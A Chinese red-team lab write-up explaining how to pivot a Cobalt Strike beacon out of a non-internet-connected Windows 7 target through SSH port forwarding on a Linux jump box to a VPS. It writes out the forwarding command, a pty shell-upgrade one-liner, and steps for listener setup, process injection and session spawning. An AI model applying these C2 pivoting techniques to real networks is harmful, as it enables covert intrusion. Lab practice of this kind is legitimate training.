一、前言
前端时间打红日安全红队靶场(四),对内网不出网的windows上线不了cs耿耿于怀,由于边界设备是linux,然后开lcx、NATbypass、ew、frp
来端口映射时cs开启监听会提示端口占用,今天早晨突然想到用ssh做端口映射好像是可以的。就试了试结果成功了。
看看ssh端口映射的原理:
工作原理是这样的, 本地机器(边界跳板机)上分配了一个 socket
侦听port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时和远程主机(vps)的端口建立连接。
环境:vps(装有cs),linux(内网边界设备、跳板机),win7(内网并且不出网)
思路:cs开两个监听,一个用来监听,一个用来生成payload,linux跳板机开ssh端口映射,win7去执行生成的payload
二、开启两个监听
环境复现的话我就那自己的虚拟本地,和靶场的结果是一样。
1、监听1
这个监听是用来收取reverse_http
shell的
save
2、监听2
这个监听是生成payload和派生会话用的
save
三、生成payload
(1)使用常用payload生成器
选择名为:payload的监听器
生成后保存好,等等会用到
四、建立ssh端口映射
使用命令:ssh -C -f -N -g -L 本地端口:目标IP:目标端口 用户名@目标IP
那么我们这里的命令为:ssh -C -f -N -g -L 4445:vps_ip:1111 root@vps_ip
由于这个命令是需要输入vps的密码的,所以当前只有一个nc的反弹shell的话需要用python命令来加强交互性(可以输密码):python -c 'import pty;pty.spawn("/bin/bash")'
执行结果如下:
查看建立链接情况:netstat -anp | grep 4445
看起来是没有啥问题了
五、win7执行payload.exe
对于靶机的环境,可以永恒之蓝打进去之后,上传执行。我这里是本地环境所以直接拖到win7执行。
突发问题:
可能ssh会不稳定,出现如下情况
需要把ssh端口映射的命令再执行一次即可,然后就上线成功了
六、测试一下功能
(1)派生会话
派生会话要选择跳板机的ip
派生成功了
(2)进程注入inject 2408 x64
选择payload也是跳板机的
看结果
进程注入成功
(3)提权
总之用cs来内网信息收集,简直不要太爽
要想隐藏ip的话需要在ssh端口映射那边花点功夫